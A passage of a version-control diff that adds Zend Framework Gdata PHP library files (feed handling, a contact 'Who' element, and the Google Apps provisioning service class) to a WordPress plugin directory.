+            return parent::__toString();
+        }
+    }
+
+    /**
+     * Get the value for this element's ValueString attribute.
+     *
+     * @return string The requested attribute.
+     */
+    public function getValueString()
+    {
+        return $this->_valueString;
+    }
+
+    /**
+     * Set the value for this element's ValueString attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Extension_Who The element being modified.
+     */
+    public function setValueString($value)
+    {
+        $this->_valueString = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's Email attribute.
+     *
+     * @return string The requested attribute.
+     */
+    public function getEmail()
+    {
+        return $this->_email;
+    }
+
+    /**
+     * Set the value for this element's Email attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Extension_Who The element being modified.
+     */
+    public function setEmail($value)
+    {
+        $this->_email = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's Rel attribute.
+     *
+     * @return string The requested attribute.
+     */
+    public function getRel()
+    {
+        return $this->_rel;
+    }
+
+    /**
+     * Set the value for this element's Rel attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Extension_Who The element being modified.
+     */
+    public function setRel($value)
+    {
+        $this->_rel = $value;
+        return $this;
+    }
+
+    /**
+     * Get this entry's AttendeeStatus element.
+     *
+     * @return Zend_Gdata_Extension_AttendeeStatus The requested entry.
+     */
+    public function getAttendeeStatus()
+    {
+        return $this->_attendeeStatus;
+    }
+
+    /**
+     * Set the child's AttendeeStatus element.
+     *
+     * @param Zend_Gdata_Extension_AttendeeStatus $value The desired value for this attribute.
+     * @return Zend_Gdata_Extension_Who The element being modified.
+     */
+    public function setAttendeeStatus($value)
+    {
+        $this->_attendeeStatus = $value;
+        return $this;
+    }
+
+    /**
+     * Get this entry's AttendeeType element.
+     *
+     * @return Zend_Gdata_Extension_AttendeeType The requested entry.
+     */
+    public function getAttendeeType()
+    {
+        return $this->_attendeeType;
+    }
+
+    /**
+     * Set the child's AttendeeType element.
+     *
+     * @param Zend_Gdata_Extension_AttendeeType $value The desired value for this attribute.
+     * @return Zend_Gdata_Extension_Who The element being modified.
+     */
+    public function setAttendeeType($value)
+    {
+        $this->_attendeeType = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Feed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Feed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Feed.php	(revision 44)
@@ -0,0 +1,250 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata
+ */
+require_once 'Zend/Gdata.php';
+
+/**
+ * @see Zend_Gdata_App_Feed
+ */
+require_once 'Zend/Gdata/App/Feed.php';
+
+/**
+ * @see Zend_Gdata_Entry
+ */
+require_once 'Zend/Gdata/Entry.php';
+
+/**
+ * @see Zend_Gdata_Extension_OpenSearchTotalResults
+ */
+require_once 'Zend/Gdata/Extension/OpenSearchTotalResults.php';
+
+/**
+ * @see Zend_Gdata_Extension_OpenSearchStartIndex
+ */
+require_once 'Zend/Gdata/Extension/OpenSearchStartIndex.php';
+
+/**
+ * @see Zend_Gdata_Extension_OpenSearchItemsPerPage
+ */
+require_once 'Zend/Gdata/Extension/OpenSearchItemsPerPage.php';
+
+/**
+ * The Gdata flavor of an Atom Feed
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Feed extends Zend_Gdata_App_Feed
+{
+
+    /**
+     * The classname for individual feed elements.
+     *
+     * @var string
+     */
+    protected $_entryClassName = 'Zend_Gdata_Entry';
+
+    /**
+     * The openSearch:totalResults element
+     *
+     * @var Zend_Gdata_Extension_OpenSearchTotalResults|null
+     */
+    protected $_totalResults = null;
+
+    /**
+     * The openSearch:startIndex element
+     *
+     * @var Zend_Gdata_Extension_OpenSearchStartIndex|null
+     */
+    protected $_startIndex = null;
+
+    /**
+     * The openSearch:itemsPerPage element
+     *
+     * @var Zend_Gdata_Extension_OpenSearchItemsPerPage|null
+     */
+    protected $_itemsPerPage = null;
+
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata::$namespaces);
+        parent::__construct($element);
+    }
+
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_totalResults != null) {
+            $element->appendChild($this->_totalResults->getDOM($element->ownerDocument));
+        }
+        if ($this->_startIndex != null) {
+            $element->appendChild($this->_startIndex->getDOM($element->ownerDocument));
+        }
+        if ($this->_itemsPerPage != null) {
+            $element->appendChild($this->_itemsPerPage->getDOM($element->ownerDocument));
+        }
+
+        // ETags are special. We only support them in protocol >= 2.X.
+        // This will be duplicated by the HTTP ETag header.
+        if ($majorVersion >= 2) {
+            if ($this->_etag != null) {
+                $element->setAttributeNS($this->lookupNamespace('gd'),
+                                         'gd:etag',
+                                         $this->_etag);
+            }
+        }
+
+        return $element;
+    }
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them in the $_entry array based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+        case $this->lookupNamespace('openSearch') . ':' . 'totalResults':
+            $totalResults = new Zend_Gdata_Extension_OpenSearchTotalResults();
+            $totalResults->transferFromDOM($child);
+            $this->_totalResults = $totalResults;
+            break;
+        case $this->lookupNamespace('openSearch') . ':' . 'startIndex':
+            $startIndex = new Zend_Gdata_Extension_OpenSearchStartIndex();
+            $startIndex->transferFromDOM($child);
+            $this->_startIndex = $startIndex;
+            break;
+        case $this->lookupNamespace('openSearch') . ':' . 'itemsPerPage':
+            $itemsPerPage = new Zend_Gdata_Extension_OpenSearchItemsPerPage();
+            $itemsPerPage->transferFromDOM($child);
+            $this->_itemsPerPage = $itemsPerPage;
+            break;
+        default:
+            parent::takeChildFromDOM($child);
+            break;
+        }
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'etag':
+            // ETags are special, since they can be conveyed by either the
+            // HTTP ETag header or as an XML attribute.
+            $etag = $attribute->nodeValue;
+            if ($this->_etag === null) {
+                $this->_etag = $etag;
+            }
+            elseif ($this->_etag != $etag) {
+                require_once('Zend/Gdata/App/IOException.php');
+                throw new Zend_Gdata_App_IOException("ETag mismatch");
+            }
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+            break;
+        }
+    }
+
+    /**
+     *  Set the value of the totalResults property.
+     *
+     * @param Zend_Gdata_Extension_OpenSearchTotalResults|null $value The
+     *        value of the totalResults property. Use null to unset.
+     * @return Zend_Gdata_Feed Provides a fluent interface.
+     */
+    function setTotalResults($value) {
+        $this->_totalResults = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value of the totalResults property.
+     *
+     * @return Zend_Gdata_Extension_OpenSearchTotalResults|null The value of
+     *         the totalResults property, or null if unset.
+     */
+    function getTotalResults() {
+        return $this->_totalResults;
+    }
+
+    /**
+     * Set the start index property for feed paging.
+     *
+     * @param Zend_Gdata_Extension_OpenSearchStartIndex|null $value The value
+     *        for the startIndex property. Use null to unset.
+     * @return Zend_Gdata_Feed Provides a fluent interface.
+     */
+    function setStartIndex($value) {
+        $this->_startIndex = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value of the startIndex property.
+     *
+     * @return Zend_Gdata_Extension_OpenSearchStartIndex|null The value of the
+     *         startIndex property, or null if unset.
+     */
+    function getStartIndex() {
+        return $this->_startIndex;
+    }
+
+    /**
+     * Set the itemsPerPage property.
+     *
+     * @param Zend_Gdata_Extension_OpenSearchItemsPerPage|null $value The
+     *        value for the itemsPerPage property. Use nul to unset.
+     * @return Zend_Gdata_Feed Provides a fluent interface.
+     */
+    function setItemsPerPage($value) {
+        $this->_itemsPerPage = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value of the itemsPerPage property.
+     *
+     * @return Zend_Gdata_Extension_OpenSearchItemsPerPage|null The value of
+     *         the itemsPerPage property, or null if unset.
+     */
+    function getItemsPerPage() {
+        return $this->_itemsPerPage;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps.php	(revision 44)
@@ -0,0 +1,1092 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata
+ */
+require_once 'Zend/Gdata.php';
+
+/**
+ * @see Zend_Gdata_Gapps_UserFeed
+ */
+require_once 'Zend/Gdata/Gapps/UserFeed.php';
+
+/**
+ * @see Zend_Gdata_Gapps_NicknameFeed
+ */
+require_once 'Zend/Gdata/Gapps/NicknameFeed.php';
+
+/**
+ * @see Zend_Gdata_Gapps_EmailListFeed
+ */
+require_once 'Zend/Gdata/Gapps/EmailListFeed.php';
+
+/**
+ * @see Zend_Gdata_Gapps_EmailListRecipientFeed
+ */
+require_once 'Zend/Gdata/Gapps/EmailListRecipientFeed.php';
+
+
+/**
+ * Service class for interacting with the Google Apps Provisioning API.
+ *
+ * Like other service classes in this module, this class provides access via
+ * an HTTP client to Google servers for working with entries and feeds.
+ *
+ * Because of the nature of this API, all access must occur over an
+ * authenticated connection.
+ *
+ * @link http://code.google.com/apis/apps/gdata_provisioning_api_v2.0_reference.html
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Gapps extends Zend_Gdata
+{
+
+    const APPS_BASE_FEED_URI = 'https://apps-apis.google.com/a/feeds';
+    const AUTH_SERVICE_NAME = 'apps';
+
+    /**
+     * Path to user feeds on the Google Apps server.
+     */
+    const APPS_USER_PATH = '/user/2.0';
+
+    /**
+     * Path to nickname feeds on the Google Apps server.
+     */
+    const APPS_NICKNAME_PATH = '/nickname/2.0';
+
+    /**
+     * Path to email list feeds on the Google Apps server.
+     */
+    const APPS_EMAIL_LIST_PATH = '/emailList/2.0';
+
+    /**
+     * Path to email list recipient feeds on the Google Apps server.
+     */
+    const APPS_EMAIL_LIST_RECIPIENT_POSTFIX = '/recipient';
+
+    /**
+     * The domain which is being administered via the Provisioning API.
+     *
+     * @var string
+     */
+    protected $_domain = null;
+
+    /**
+     * Namespaces used for Zend_Gdata_Gapps
+     *
+     * @var array
+     */
+    public static $namespaces = array(
+        array('apps', 'http://schemas.google.com/apps/2006', 1, 0)
+    );
+
+    /**
+     * Create Gdata_Gapps object
+     *
+     * @param Zend_Http_Client $client (optional) The HTTP client to use when
+     *          when communicating with the Google Apps servers.
+     * @param string $domain (optional) The Google Apps domain which is to be
+     *          accessed.
+     * @param string $applicationId The identity of the app in the form of Company-AppName-Version
+     */
+    public function __construct($client = null, $domain = null, $applicationId = 'MyCompany-MyApp-1.0')
+    {
+        $this->registerPackage('Zend_Gdata_Gapps');
+        $this->registerPackage('Zend_Gdata_Gapps_Extension');
+        parent::__construct($client, $applicationId);
+        $this->_httpClient->setParameterPost('service', self::AUTH_SERVICE_NAME);
+        $this->_domain = $domain;
+    }
+
+    /**
+     * Convert an exception to an ServiceException if an AppsForYourDomain
+     * XML document is contained within the original exception's HTTP
+     * response. If conversion fails, throw the original error.
+     *
+     * @param Zend_Gdata_Exception $e The exception to convert.
+     * @throws Zend_Gdata_Gapps_ServiceException
+     * @throws mixed
+     */
+    public static function throwServiceExceptionIfDetected($e) {
+        // Check to make sure that there actually response!
+        // This can happen if the connection dies before the request
+        // completes. (See ZF-5949)
+        $response = $e->getResponse();
+        if (!$response) {
+          require_once('Zend/Gdata/App/IOException.php');
+          throw new Zend_Gdata_App_IOException('No HTTP response received (possible connection failure)');
+        }
+
+        try {
+            // Check to see if there is an AppsForYourDomainErrors
+            // datastructure in the response. If so, convert it to
+            // an exception and throw it.
+            require_once 'Zend/Gdata/Gapps/ServiceException.php';
+            $error = new Zend_Gdata_Gapps_ServiceException();
+            $error->importFromString($response->getBody());
+            throw $error;
+        } catch (Zend_Gdata_App_Exception $e2) {
+            // Unable to convert the response to a ServiceException,
+            // most likely because the server didn't return an
+            // AppsForYourDomainErrors document. Throw the original
+            // exception.
+            throw $e;
+        }
+    }
+
+    /**
+     * Imports a feed located at $uri.
+     * This method overrides the default behavior of Zend_Gdata_App,
+     * providing support for Zend_Gdata_Gapps_ServiceException.
+     *
+     * @param  string $uri
+     * @param  Zend_Http_Client $client (optional) The client used for
+     *          communication
+     * @param  string $className (optional) The class which is used as the
+     *          return type
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     * @return Zend_Gdata_App_Feed
+     */
+    public static function import($uri, $client = null, $className='Zend_Gdata_App_Feed')
+    {
+        try {
+            return parent::import($uri, $client, $className);
+        } catch (Zend_Gdata_App_HttpException $e) {
+            self::throwServiceExceptionIfDetected($e);
+        }
+    }
+
+    /**
+     * GET a URI using client object.
+     * This method overrides the default behavior of Zend_Gdata_App,
+     * providing support for Zend_Gdata_Gapps_ServiceException.
+     *
+     * @param string $uri GET URI
+     * @param array $extraHeaders Extra headers to add to the request, as an
+     *        array of string-based key/value pairs.
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     * @return Zend_Http_Response
+     */
+    public function get($uri, $extraHeaders = array())
+    {
+        try {
+            return parent::get($uri, $extraHeaders);
+        } catch (Zend_Gdata_App_HttpException $e) {
+            self::throwServiceExceptionIfDetected($e);
+        }
+    }
+
+    /**
+     * POST data with client object.
+     * This method overrides the default behavior of Zend_Gdata_App,
+     * providing support for Zend_Gdata_Gapps_ServiceException.
+     *
+     * @param mixed $data The Zend_Gdata_App_Entry or XML to post
+     * @param string $uri (optional) POST URI
+     * @param integer $remainingRedirects (optional)
+     * @param string $contentType Content-type of the data
+     * @param array $extraHaders Extra headers to add tot he request
+     * @return Zend_Http_Response
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_App_InvalidArgumentException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     */
+    public function post($data, $uri = null, $remainingRedirects = null,
+            $contentType = null, $extraHeaders = null)
+    {
+        try {
+            return parent::post($data, $uri, $remainingRedirects, $contentType, $extraHeaders);
+        } catch (Zend_Gdata_App_HttpException $e) {
+            self::throwServiceExceptionIfDetected($e);
+        }
+    }
+
+    /**
+     * PUT data with client object
+     * This method overrides the default behavior of Zend_Gdata_App,
+     * providing support for Zend_Gdata_Gapps_ServiceException.
+     *
+     * @param mixed $data The Zend_Gdata_App_Entry or XML to post
+     * @param string $uri (optional) PUT URI
+     * @param integer $remainingRedirects (optional)
+     * @param string $contentType Content-type of the data
+     * @param array $extraHaders Extra headers to add tot he request
+     * @return Zend_Http_Response
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_App_InvalidArgumentException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     */
+    public function put($data, $uri = null, $remainingRedirects = null,
+            $contentType = null, $extraHeaders = null)
+    {
+        try {
+            return parent::put($data, $uri, $remainingRedirects, $contentType, $extraHeaders);
+        } catch (Zend_Gdata_App_HttpException $e) {
+            self::throwServiceExceptionIfDetected($e);
+        }
+    }
+
+    /**
+     * DELETE entry with client object
+     * This method overrides the default behavior of Zend_Gdata_App,
+     * providing support for Zend_Gdata_Gapps_ServiceException.
+     *
+     * @param mixed $data The Zend_Gdata_App_Entry or URL to delete
+     * @param integer $remainingRedirects (optional)
+     * @return void
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_App_InvalidArgumentException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     */
+    public function delete($data, $remainingRedirects = null)
+    {
+        try {
+            return parent::delete($data, $remainingRedirects);
+        } catch (Zend_Gdata_App_HttpException $e) {
+            self::throwServiceExceptionIfDetected($e);
+        }
+    }
+
+    /**
+     * Set domain for this service instance. This should be a fully qualified
+     * domain, such as 'foo.example.com'.
+     *
+     * This value is used when calculating URLs for retrieving and posting
+     * entries. If no value is specified, a URL will have to be manually
+     * constructed prior to using any methods which interact with the Google
+     * Apps provisioning service.
+     *
+     * @param string $value The domain to be used for this session.
+     */
+    public function setDomain($value)
+    {
+        $this->_domain = $value;
+    }
+
+    /**
+     * Get domain for this service instance. This should be a fully qualified
+     * domain, such as 'foo.example.com'. If no domain is set, null will be
+     * returned.
+     *
+     * @return string The domain to be used for this session, or null if not
+     *          set.
+     */
+    public function getDomain()
+    {
+        return $this->_domain;
+    }
+
+    /**
+     * Returns the base URL used to access the Google Apps service, based
+     * on the current domain. The current domain can be temporarily
+     * overridden by providing a fully qualified domain as $domain.
+     *
+     * @param string $domain (optional) A fully-qualified domain to use
+     *          instead of the default domain for this service instance.
+     * @throws Zend_Gdata_App_InvalidArgumentException
+     */
+     public function getBaseUrl($domain = null)
+     {
+         if ($domain !== null) {
+             return self::APPS_BASE_FEED_URI . '/' . $domain;
+         } else if ($this->_domain !== null) {
+             return self::APPS_BASE_FEED_URI . '/' . $this->_domain;
+         } else {
+             require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+             throw new Zend_Gdata_App_InvalidArgumentException(
+                     'Domain must be specified.');
+         }
+     }
+
+    /**
+     * Retrieve a UserFeed containing multiple UserEntry objects.
+     *
+     * @param mixed $location (optional) The location for the feed, as a URL
+     *          or Query.
+     * @return Zend_Gdata_Gapps_UserFeed
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     */
+    public function getUserFeed($location = null)
+    {
+        if ($location === null) {
+            $uri = $this->getBaseUrl() . self::APPS_USER_PATH;
+        } else if ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getFeed($uri, 'Zend_Gdata_Gapps_UserFeed');
+    }
+
+    /**
+     * Retreive NicknameFeed object containing multiple NicknameEntry objects.
+     *
+     * @param mixed $location (optional) The location for the feed, as a URL
+     *          or Query.
+     * @return Zend_Gdata_Gapps_NicknameFeed
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     */
+    public function getNicknameFeed($location = null)
+    {
+        if ($location === null) {
+            $uri = $this->getBaseUrl() . self::APPS_NICKNAME_PATH;
+        } else if ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getFeed($uri, 'Zend_Gdata_Gapps_NicknameFeed');
+    }
+
+    /**
+     * Retreive EmailListFeed object containing multiple EmailListEntry
+     * objects.
+     *
+     * @param mixed $location (optional) The location for the feed, as a URL
+     *          or Query.
+     * @return Zend_Gdata_Gapps_EmailListFeed
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     */
+    public function getEmailListFeed($location = null)
+    {
+        if ($location === null) {
+            $uri = $this->getBaseUrl() . self::APPS_NICKNAME_PATH;
+        } else if ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getFeed($uri, 'Zend_Gdata_Gapps_EmailListFeed');
+    }
+
+    /**
+     * Retreive EmailListRecipientFeed object containing multiple
+     * EmailListRecipientEntry objects.
+     *
+     * @param mixed $location The location for the feed, as a URL or Query.
+     * @return Zend_Gdata_Gapps_EmailListRecipientFeed
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     */
+    public function getEmailListRecipientFeed($location)
+    {
+        if ($location === null) {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'Location must not be null');
+        } else if ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getFeed($uri, 'Zend_Gdata_Gapps_EmailListRecipientFeed');
+    }
+
+    /**
+     * Retreive a single UserEntry object.
+     *
+     * @param mixed $location The location for the feed, as a URL or Query.
+     * @return Zend_Gdata_Gapps_UserEntry
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     */
+    public function getUserEntry($location)
+    {
+        if ($location === null) {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'Location must not be null');
+        } else if ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getEntry($uri, 'Zend_Gdata_Gapps_UserEntry');
+    }
+
+    /**
+     * Retreive a single NicknameEntry object.
+     *
+     * @param mixed $location The location for the feed, as a URL or Query.
+     * @return Zend_Gdata_Gapps_NicknameEntry
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     */
+    public function getNicknameEntry($location)
+    {
+        if ($location === null) {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'Location must not be null');
+        } else if ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getEntry($uri, 'Zend_Gdata_Gapps_NicknameEntry');
+    }
+
+    /**
+     * Retreive a single EmailListEntry object.
+     *
+     * @param mixed $location The location for the feed, as a URL or Query.
+     * @return Zend_Gdata_Gapps_EmailListEntry
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     */
+    public function getEmailListEntry($location)
+    {
+        if ($location === null) {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'Location must not be null');
+        } else if ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getEntry($uri, 'Zend_Gdata_Gapps_EmailListEntry');
+    }
+
+    /**
+     * Retreive a single EmailListRecipientEntry object.
+     *
+     * @param mixed $location The location for the feed, as a URL or Query.
+     * @return Zend_Gdata_Gapps_EmailListRecipientEntry
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     */
+    public function getEmailListRecipientEntry($location)
+    {
+        if ($location === null) {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'Location must not be null');
+        } else if ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getEntry($uri, 'Zend_Gdata_Gapps_EmailListRecipientEntry');
+    }
+
+    /**
+     * Create a new user from a UserEntry.
+     *
+     * @param Zend_Gdata_Gapps_UserEntry $user The user entry to insert.
+     * @param string $uri (optional) The URI where the user should be
+     *          uploaded to. If null, the default user creation URI for
+     *          this domain will be used.
+     * @return Zend_Gdata_Gapps_UserEntry The inserted user entry as
+     *          returned by the server.
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     */
+    public function insertUser($user, $uri = null)
+    {
+        if ($uri === null) {
+            $uri = $this->getBaseUrl() . self::APPS_USER_PATH;
+        }
+        $newEntry = $this->insertEntry($user, $uri, 'Zend_Gdata_Gapps_UserEntry');
+        return $newEntry;
+    }
+
+    /**
+     * Create a new nickname from a NicknameEntry.
+     *
+     * @param Zend_Gdata_Gapps_NicknameEntry $nickname The nickname entry to
+     *          insert.
+     * @param string $uri (optional) The URI where the nickname should be
+     *          uploaded to. If null, the default nickname creation URI for
+     *          this domain will be used.
+     * @return Zend_Gdata_Gapps_NicknameEntry The inserted nickname entry as
+     *          returned by the server.
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     */
+    public function insertNickname($nickname, $uri = null)
+    {
+        if ($uri === null) {
+            $uri = $this->getBaseUrl() . self::APPS_NICKNAME_PATH;
+        }
+        $newEntry = $this->insertEntry($nickname, $uri, 'Zend_Gdata_Gapps_NicknameEntry');
+        return $newEntry;
+    }
+
+    /**
+     * Create a new email list from an EmailListEntry.
+     *
+     * @param Zend_Gdata_Gapps_EmailListEntry $emailList The email list entry
+     *          to insert.
+     * @param string $uri (optional) The URI where the email list should be
+     *          uploaded to. If null, the default email list creation URI for
+     *          this domain will be used.
+     * @return Zend_Gdata_Gapps_EmailListEntry The inserted email list entry
+     *          as returned by the server.
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     */
+    public function insertEmailList($emailList, $uri = null)
+    {
+        if ($uri === null) {
+            $uri = $this->getBaseUrl() . self::APPS_EMAIL_LIST_PATH;
+        }
+        $newEntry = $this->insertEntry($emailList, $uri, 'Zend_Gdata_Gapps_EmailListEntry');
+        return $newEntry;
+    }
+
+    /**
+     * Create a new email list recipient from an EmailListRecipientEntry.
+     *
+     * @param Zend_Gdata_Gapps_EmailListRecipientEntry $recipient The recipient
+     *          entry to insert.
+     * @param string $uri (optional) The URI where the recipient should be
+     *          uploaded to. If null, the default recipient creation URI for
+     *          this domain will be used.
+     * @return Zend_Gdata_Gapps_EmailListRecipientEntry The inserted
+     *          recipient entry as returned by the server.
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     */
+    public function insertEmailListRecipient($recipient, $uri = null)
+    {
+        if ($uri === null) {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'URI must not be null');
+        } elseif ($uri instanceof Zend_Gdata_Gapps_EmailListEntry) {
+            $uri = $uri->getLink('edit')->href;
+        }
+        $newEntry = $this->insertEntry($recipient, $uri, 'Zend_Gdata_Gapps_EmailListRecipientEntry');
+        return $newEntry;
+    }
+
+    /**
+     * Provides a magic factory method to instantiate new objects with
+     * shorter syntax than would otherwise be required by the Zend Framework
+     * naming conventions. For more information, see Zend_Gdata_App::__call().
+     *
+     * This overrides the default behavior of __call() so that query classes
+     * do not need to have their domain manually set when created with
+     * a magic factory method.
+     *
+     * @see Zend_Gdata_App::__call()
+     * @param string $method The method name being called
+     * @param array $args The arguments passed to the call
+     * @throws Zend_Gdata_App_Exception
+     */
+    public function __call($method, $args) {
+        if (preg_match('/^new(\w+Query)/', $method, $matches)) {
+            $class = $matches[1];
+            $foundClassName = null;
+            foreach ($this->_registeredPackages as $name) {
+                 try {
+                     require_once 'Zend/Loader.php';
+                     @Zend_Loader::loadClass("${name}_${class}");
+                     $foundClassName = "${name}_${class}";
+                     break;
+                 } catch (Zend_Exception $e) {
+                     // package wasn't here- continue searching
+                 }
+            }
+            if ($foundClassName != null) {
+                $reflectionObj = new ReflectionClass($foundClassName);
+                // Prepend the domain to the query
+                $args = array_merge(array($this->getDomain()), $args);
+                return $reflectionObj->newInstanceArgs($args);
+            } else {
+                require_once 'Zend/Gdata/App/Exception.php';
+                throw new Zend_Gdata_App_Exception(
+                        "Unable to find '${class}' in registered packages");
+            }
+        } else {
+            return parent::__call($method, $args);
+        }
+
+    }
+
+    // Convenience methods
+    // Specified at http://code.google.com/apis/apps/gdata_provisioning_api_v2.0_reference.html#appendix_e
+
+    /**
